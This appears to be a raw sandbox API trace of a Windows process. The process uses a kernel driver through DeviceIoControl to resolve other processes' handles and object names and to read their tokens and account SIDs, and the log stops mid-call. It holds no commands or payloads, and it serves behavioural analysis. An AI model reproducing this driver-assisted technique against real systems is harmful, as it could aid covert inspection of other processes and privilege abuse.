[0133.550] PsLookupProcessByProcessId (in: ProcessId=0x55c, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0133.550] PsAcquireProcessExitSynchronization () returned 0x0 [0133.550] KeStackAttachProcess (in: PROCESS=0xfffffa8001ff4060, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8001ff4060, ApcState=0xfffff880050005d0) [0133.550] ObReferenceObjectByHandle (in: Handle=0xe4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffff8a0089d7490, HandleInformation=0x0) returned 0x0 [0133.550] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0133.550] PsReleaseProcessExitSynchronization () returned 0x2 [0133.550] ObfDereferenceObject (Object=0xfffffa8001ff4060) returned 0x1e [0133.550] ObQueryNameString (in: Object=0xfffff8a0089d7490, ObjectNameInfo=0xfffffa800240c744, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa800240c744, ReturnLength=0xfffff88005000550) returned 0x0 [0133.550] ObfDereferenceObject (Object=0xfffff8a0089d7490) returned 0x27 [0133.550] IofCompleteRequest (Irp=0xfffffa8001efdee0, PriorityBoost=0) [0133.550] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0133.550] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0133.550] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0133.550] PsLookupProcessByProcessId (in: ProcessId=0x55c, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0133.550] PsAcquireProcessExitSynchronization () returned 0x0 [0133.550] KeStackAttachProcess (in: PROCESS=0xfffffa8001ff4060, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8001ff4060, ApcState=0xfffff880050005d0) [0133.550] ObReferenceObjectByHandle (in: Handle=0xf0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffff8a001546a40, HandleInformation=0x0) returned 0x0 [0133.551] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0133.551] PsReleaseProcessExitSynchronization () returned 0x2 [0133.551] ObfDereferenceObject (Object=0xfffffa8001ff4060) returned 0x1e [0133.551] ObQueryNameString (in: Object=0xfffff8a001546a40, ObjectNameInfo=0xfffffa80019ff7c4, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa80019ff7c4, ReturnLength=0xfffff88005000550) returned 0x0 [0133.551] ObfDereferenceObject (Object=0xfffff8a001546a40) returned 0x8 [0133.551] IofCompleteRequest (Irp=0xfffffa8001efdee0, PriorityBoost=0) [0133.551] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0133.551] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0xb4c) returned 0xc0 [0133.551] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0133.551] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005000668, HandleInformation=0x0 | out: Object=0xfffff88005000668*=0xfffffa800212cb30, HandleInformation=0x0) returned 0x0 [0133.551] ObOpenObjectByPointer (in: Object=0xfffffa800212cb30, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88005000670 | out: Handle=0xfffff88005000670*=0xffffffff80000520) returned 0x0 [0133.551] ObfDereferenceObject (Object=0xfffffa800212cb30) returned 0x83 [0133.551] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000520, DesiredAccess=0x8, TokenHandle=0xfffffa80024c34c0 | out: TokenHandle=0xfffffa80024c34c0*=0xc8) returned 0x0 [0133.551] ZwClose (Handle=0xffffffff80000520) returned 0x0 [0133.551] IofCompleteRequest (Irp=0xfffffa8001efdee0, PriorityBoost=0) [0133.551] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0133.551] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0133.552] CloseHandle (hObject=0xc8) returned 1 [0133.552] CloseHandle (hObject=0xc0) returned 1 [0133.553] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0133.553] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0133.553] PsLookupProcessByProcessId (in: ProcessId=0xb4c, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0133.553] PsAcquireProcessExitSynchronization () returned 0x0 [0133.553] KeStackAttachProcess (in: PROCESS=0xfffffa800212cb30, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa800212cb30, ApcState=0xfffff880050005d0) [0133.553] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa8001f49750, HandleInformation=0x0) returned 0x0 [0133.553] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0133.553] PsReleaseProcessExitSynchronization () returned 0x2 [0133.553] ObfDereferenceObject (Object=0xfffffa800212cb30) returned 0x81 [0133.553] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800231d7c4, Length=0x800, ReturnLength=0xfffff88005000508 | out: ObjectNameInfo=0xfffffa800231d7c4, ReturnLength=0xfffff88005000508) returned 0x0 [0133.553] ObfDereferenceObject (Object=0xfffffa8001f49750) returned 0x1 [0133.553] IofCompleteRequest (Irp=0xfffffa8001efdee0, PriorityBoost=0) [0133.553] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0133.553] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0133.553] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0133.553] PsLookupProcessByProcessId (in: ProcessId=0xb4c, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0133.553] PsAcquireProcessExitSynchronization () returned 0x0 [0133.553] KeStackAttachProcess (in: PROCESS=0xfffffa800212cb30, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa800212cb30, ApcState=0xfffff880050005d0) [0133.553] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa8001f45200, HandleInformation=0x0) returned 0x0 [0133.553] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0133.553] PsReleaseProcessExitSynchronization () returned 0x2 [0133.553] ObfDereferenceObject (Object=0xfffffa800212cb30) returned 0x81 [0133.553] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800208f044, Length=0x800, ReturnLength=0xfffff88005000508 | out: ObjectNameInfo=0xfffffa800208f044, ReturnLength=0xfffff88005000508) returned 0x0 [0133.553] ObfDereferenceObject (Object=0xfffffa8001f45200) returned 0x1 [0133.553] IofCompleteRequest (Irp=0xfffffa8001efdee0, PriorityBoost=0) [0133.553] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0133.553] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0133.553] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0133.553] PsLookupProcessByProcessId (in: ProcessId=0xb4c, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0133.553] PsAcquireProcessExitSynchronization () returned 0x0 [0133.554] KeStackAttachProcess (in: PROCESS=0xfffffa800212cb30, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa800212cb30, ApcState=0xfffff880050005d0) [0133.554] ObReferenceObjectByHandle (in: Handle=0x198, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa80024c0450, HandleInformation=0x0) returned 0x0 [0133.556] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0133.561] PsReleaseProcessExitSynchronization () returned 0x2 [0133.562] ObfDereferenceObject (Object=0xfffffa800212cb30) returned 0x81 [0133.564] ObQueryNameString (in: Object=0xfffffa80024c0450, ObjectNameInfo=0xfffffa80025fb044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa80025fb044, ReturnLength=0xfffff88005000550) returned 0x0 [0133.565] ObfDereferenceObject (Object=0xfffffa80024c0450) returned 0x1 [0133.570] IofCompleteRequest (Irp=0xfffffa8001efdee0, PriorityBoost=0) [0133.571] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0133.576] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x858) returned 0xc0 [0133.576] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0133.576] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005000668, HandleInformation=0x0 | out: Object=0xfffff88005000668*=0xfffffa80023095e0, HandleInformation=0x0) returned 0x0 [0133.576] ObOpenObjectByPointer (in: Object=0xfffffa80023095e0, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88005000670 | out: Handle=0xfffff88005000670*=0xffffffff80000520) returned 0x0 [0133.576] ObfDereferenceObject (Object=0xfffffa80023095e0) returned 0x20 [0133.576] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000520, DesiredAccess=0x8, TokenHandle=0xfffffa80024c34c0 | out: TokenHandle=0xfffffa80024c34c0*=0xc8) returned 0x0 [0133.576] ZwClose (Handle=0xffffffff80000520) returned 0x0 [0133.576] IofCompleteRequest (Irp=0xfffffa8001efdee0, PriorityBoost=0) [0133.577] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0133.577] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0133.578] CloseHandle (hObject=0xc8) returned 1 [0133.578] CloseHandle (hObject=0xc0) returned 1 [0133.578] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0133.578] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x5a, lpOverlapped=0x0) returned 1 [0133.578] PsLookupProcessByProcessId (in: ProcessId=0x858, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0133.578] PsAcquireProcessExitSynchronization () returned 0x0 [0133.578] KeStackAttachProcess (in: PROCESS=0xfffffa80023095e0, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa80023095e0, ApcState=0xfffff880050005d0) [0133.578] ObReferenceObjectByHandle (in: Handle=0xc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa8001f46a70, HandleInformation=0x0) returned 0x0 [0133.578] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0133.578] PsReleaseProcessExitSynchronization () returned 0x2 [0133.578] ObfDereferenceObject (Object=0xfffffa80023095e0) returned 0x1e [0133.578] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8002026044, Length=0x800, ReturnLength=0xfffff88005000508 | out: ObjectNameInfo=0xfffffa8002026044, ReturnLength=0xfffff88005000508) returned 0x0 [0133.578] ObfDereferenceObject (Object=0xfffffa8001f46a70) returned 0x1 [0133.578] IofCompleteRequest (Irp=0xfffffa8001efdee0, PriorityBoost=0) [0133.578] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0133.578] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0133.578] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x86, lpOverlapped=0x0) returned 1 [0133.578] PsLookupProcessByProcessId (in: ProcessId=0x858, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0133.578] PsAcquireProcessExitSynchronization () returned 0x0 [0133.578] KeStackAttachProcess (in: PROCESS=0xfffffa80023095e0, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa80023095e0, ApcState=0xfffff880050005d0) [0133.579] ObReferenceObjectByHandle (in: Handle=0x24, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa8002f81a20, HandleInformation=0x0) returned 0x0 [0133.579] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0133.579] PsReleaseProcessExitSynchronization () returned 0x2 [0133.579] ObfDereferenceObject (Object=0xfffffa80023095e0) returned 0x1e [0133.579] ObQueryNameString (in: Object=0xfffffa8002f81a20, ObjectNameInfo=0xfffffa8003994044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8003994044, ReturnLength=0xfffff88005000550) returned 0x0 [0133.579] ObfDereferenceObject (Object=0xfffffa8002f81a20) returned 0x1 [0133.579] IofCompleteRequest (Irp=0xfffffa8001efdee0, PriorityBoost=0) [0133.579] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0133.579] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0133.579] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0133.579] PsLookupProcessByProcessId (in: ProcessId=0x858, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0133.579] PsAcquireProcessExitSynchronization () returned 0x0 [0133.579] KeStackAttachProcess (in: PROCESS=0xfffffa80023095e0, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa80023095e0, ApcState=0xfffff880050005d0) [0133.579] ObReferenceObjectByHandle (in: Handle=0x78, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0133.579] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0133.579] PsReleaseProcessExitSynchronization () returned 0x2 [0133.579] ObfDereferenceObject (Object=0xfffffa80023095e0) returned 0x1e [0133.579] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa8002033044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8002033044, ReturnLength=0xfffff88005000550) returned 0x0 [0133.579] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x4b [0133.579] IofCompleteRequest (Irp=0xfffffa8001efdee0, PriorityBoost=0) [0133.579] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0133.579] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0133.579] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x74, lpOverlapped=0x0) returned 1 [0133.579] PsLookupProcessByProcessId (in: ProcessId=0x858, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0133.579] PsAcquireProcessExitSynchronization () returned 0x0 [0133.579] KeStackAttachProcess (in: PROCESS=0xfffffa80023095e0, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa80023095e0, ApcState=0xfffff880050005d0) [0133.579] ObReferenceObjectByHandle (in: Handle=0xa4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa80034ac070, HandleInformation=0x0) returned 0x0 [0133.579] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0133.579] PsReleaseProcessExitSynchronization () returned 0x2 [0133.579] ObfDereferenceObject (Object=0xfffffa80023095e0) returned 0x1e [0133.579] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8003a75044, Length=0x800, ReturnLength=0xfffff88005000508 | out: ObjectNameInfo=0xfffffa8003a75044, ReturnLength=0xfffff88005000508) returned 0x0 [0133.579] ObfDereferenceObject (Object=0xfffffa80034ac070) returned 0x1 [0133.579] IofCompleteRequest (Irp=0xfffffa8001efdee0, PriorityBoost=0) [0133.580] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0133.580] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0133.580] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0133.580] PsLookupProcessByProcessId (in: ProcessId=0x858, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0133.580] PsAcquireProcessExitSynchronization () returned 0x0 [0133.580] KeStackAttachProcess (in: PROCESS=0xfffffa80023095e0, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa80023095e0, ApcState=0xfffff880050005d0) [0133.580] ObReferenceObjectByHandle (in: Handle=0xa8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffff8a001e73f00, HandleInformation=0x0) returned 0x0 [0133.580] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0133.580] PsReleaseProcessExitSynchronization () returned 0x2 [0133.580] ObfDereferenceObject (Object=0xfffffa80023095e0) returned 0x1e [0133.580] ObQueryNameString (in: Object=0xfffff8a001e73f00, ObjectNameInfo=0xfffffa800226b044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa800226b044, ReturnLength=0xfffff88005000550) returned 0x0 [0133.580] ObfDereferenceObject (Object=0xfffff8a001e73f00) returned 0x1 [0133.580] IofCompleteRequest (Irp=0xfffffa8001efdee0, PriorityBoost=0) [0133.580] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0133.580] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0133.580] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x112, lpOverlapped=0x0) returned 1 [0133.580] PsLookupProcessByProcessId (in: ProcessId=0x858, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0133.580] PsAcquireProcessExitSynchronization () returned 0x0 [0133.580] KeStackAttachProcess (in: PROCESS=0xfffffa80023095e0, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa80023095e0, ApcState=0xfffff880050005d0) [0133.580] ObReferenceObjectByHandle (in: Handle=0xac, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa80026e2c40, HandleInformation=0x0) returned 0x0 [0133.580] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0133.580] PsReleaseProcessExitSynchronization () returned 0x2 [0133.580] ObfDereferenceObject (Object=0xfffffa80023095e0) returned 0x1e [0133.580] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80038df044, Length=0x800, ReturnLength=0xfffff88005000508 | out: ObjectNameInfo=0xfffffa80038df044, ReturnLength=0xfffff88005000508) returned 0x0 [0133.580] ObfDereferenceObject (Object=0xfffffa80026e2c40) returned 0x1 [0133.580] IofCompleteRequest (Irp=0xfffffa8001efdee0, PriorityBoost=0) [0133.580] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0133.580] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0133.580] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x26, lpOverlapped=0x0) returned 1 [0133.580] PsLookupProcessByProcessId (in: ProcessId=0x858, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0133.580] PsAcquireProcessExitSynchronization () returned 0x0 [0133.580] KeStackAttachProcess (in: PROCESS=0xfffffa80023095e0, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa80023095e0, ApcState=0xfffff880050005d0) [0133.580] ObReferenceObjectByHandle (in: Handle=0xc8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa8003518f20, HandleInformation=0x0) returned 0x0 [0133.580] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0133.580] PsReleaseProcessExitSynchronization () returned 0x2 [0133.581] ObfDereferenceObject (Object=0xfffffa80023095e0) returned 0x1e [0133.581] ObQueryNameString (in: Object=0xfffffa80026f2c50, ObjectNameInfo=0xfffffa8002512544, Length=0x800, ReturnLength=0xfffff88005000508 | out: ObjectNameInfo=0xfffffa8002512544, ReturnLength=0xfffff88005000508) returned 0x0 [0133.581] ObfDereferenceObject (Object=0xfffffa8003518f20) returned 0x1 [0133.581] IofCompleteRequest (Irp=0xfffffa8001efdee0, PriorityBoost=0) [0133.581] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0133.581] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0133.581] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x54, lpOverlapped=0x0) returned 1 [0133.581] PsLookupProcessByProcessId (in: ProcessId=0x858, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0133.581] PsAcquireProcessExitSynchronization () returned 0x0 [0133.581] KeStackAttachProcess (in: PROCESS=0xfffffa80023095e0, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa80023095e0, ApcState=0xfffff880050005d0) [0133.581] ObReferenceObjectByHandle (in: Handle=0xd4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffff8a0089d7490, HandleInformation=0x0) returned 0x0 [0133.581] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0133.581] PsReleaseProcessExitSynchronization () returned 0x2 [0133.581] ObfDereferenceObject (Object=0xfffffa80023095e0) returned 0x1e [0133.581] ObQueryNameString (in: Object=0xfffff8a0089d7490, ObjectNameInfo=0xfffffa8003425044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8003425044, ReturnLength=0xfffff88005000550) returned 0x0 [0133.581] ObfDereferenceObject (Object=0xfffff8a0089d7490) returned 0x27 [0133.581] IofCompleteRequest (Irp=0xfffffa8001efdee0, PriorityBoost=0) [0133.581] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0133.581] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0133.581] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, 